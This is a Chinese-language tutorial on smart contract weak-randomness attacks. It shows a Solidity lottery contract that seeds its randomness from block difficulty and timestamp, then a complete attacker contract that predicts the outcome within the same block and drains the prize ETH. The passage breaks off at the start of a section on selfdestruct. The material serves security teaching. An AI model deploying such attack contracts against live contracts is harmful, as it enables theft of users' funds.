智能合约安全:随机数攻击

随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测智能合约的随机数。

目前区块链上很多游戏都是采用的链上信息(如区块时间戳,未来区块哈希等)作为游戏合约的随机数源,也称随机数种子。

使用这种随机数种子生成的随机数被称为伪随机数。伪随机数不是真的随机数,存在被预测的可能。

当使用可被预测的随机数种子生成随机数的时候,一旦随机数生成的算法被攻击者猜测到,或通过逆向等其他方式拿到,攻击者就可以根据随机数的生成算法,预测游戏即将出现的随机数,实现随机数预测,达到攻击目的。

被攻击者合约

被攻击者合约 Random 是一个猜数字游戏。

游戏玩家随时可以调用一个合约函数 mint(),这时 mint 函数内会产生一个随机数。

如果这个随机数是奇数的话,就表示此次调用中奖了,合约将给予游戏玩家一定的奖励。

如果这个随机数是偶数,就表示没有中奖。

被攻击者合约 Random

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Random {
   event Log(string);
   mapping (uint256 => bool) tokenId_luckys;

   // 生成随机数确定是否中奖,如果中奖则转账给中奖者
   function mint() public payable {
      //......
      // 获取随机数,确定是否中奖
      bool randLucky = _getRandom();
      uint256 token_Id = _totalMinted(); 
   
      tokenId_luckys[token_Id] = randLucky;
      if (tokenId_luckys[token_Id] == true){
         /*
         // 原始代码:中奖逻辑,中奖者奖励1.9倍
         require(payable(msg.sender).send((price * 190) / 100));
         require(payable(widthdrawAddress).send((price * 10) / 100));
         */

         // 测试代码
         bool ok = payable(msg.sender).send(1 ether);
         if ( !ok ){
         }
      }
   }

   function _getRandom() private view returns(bool){
      // 漏洞代码!!!!!!
      uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));

      uint256 rand = random % 2;
      if(rand == 0){
         return false;
      }
      else {
         return true;
      }
   }
   // 查看奖池余额
   function getBalance() external view returns(uint256) {
      return address(this).balance;
   }

   function _totalMinted() private pure returns(uint256) {
      return 1;
   }

   // 设置部署时可以转入 eth
   constructor() payable{}
}

攻击者合约 Attack

攻击目标合约函数 attack(address _random) ,参数是攻击目标合约的地址。

使用了一个死循环,不断判断目标合约的余额,直至取光里面所有的 Eth。

循环过程中,计算由当前区块的难度值和时间戳产生的哈希值,如果不符合要求,就返回等待下一个区块。

如果符合要求,调用目标合约的mint函数,保证中奖,取走奖金。

contract Attack {
   event Log(string);

   // 攻击目标合约,参数是目标合约地址
   function attack(address _random) external payable {
      for (;;) {
         // 判断攻击目标合约的余额,如果小于 1 个 ether,表示取光,就返回
         if (payable(_random).balance < 1) {
            emit Log("succeeded getting eth");
            return;
         }
         // 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
         // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
         if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
            emit Log("failed to get rand, wait 10 seconds");
            return;
         }

        // 如果随机数是偶数,表示已经中奖,那么立刻调用攻击目标的mint函数,获取奖励
         (bool ok,) = _random.call(abi.encodeWithSignature("mint()"));
         if( !ok ){
            emit Log("failed to call mint()");
            return;
         }
      }   
   }

   // 查看获利余额
   function getBalance() external view returns(uint256) {
      return address(this).balance;
   }

   // 接收攻击获得的Eth
   receive() external payable {}
}

攻击者合约就是利用了随机数算法并不随机的漏洞。

攻击合约者 Attack 调用目标合约 Random 的方法时,由于两者处于同一个区块,所以当前区块的 difficulty 和 timestamp 在两个合约中完全相同。

于是,攻击者合约 Attack 使用相同的算法,预先计算出随机数,判断能否中奖。如果能够中奖,再调用目标合约 Random,那么肯定能够得到奖励。如果不能中奖,就等待几秒钟,当区块链的下一个区块生成时,再进行测试。

所以,攻击者合约能够事先预知结果,最终会把奖池撸光。

自毁函数是由以太坊虚拟机 EVM 提供的一项功能,用于销毁区块链上部署的智能合约。当合约执行自毁操作时,合约账户上剩余的 ETH 会发送给指定的目标地址,然后其存储和代码从以太坊状态中被移除。自毁函数在 soli ...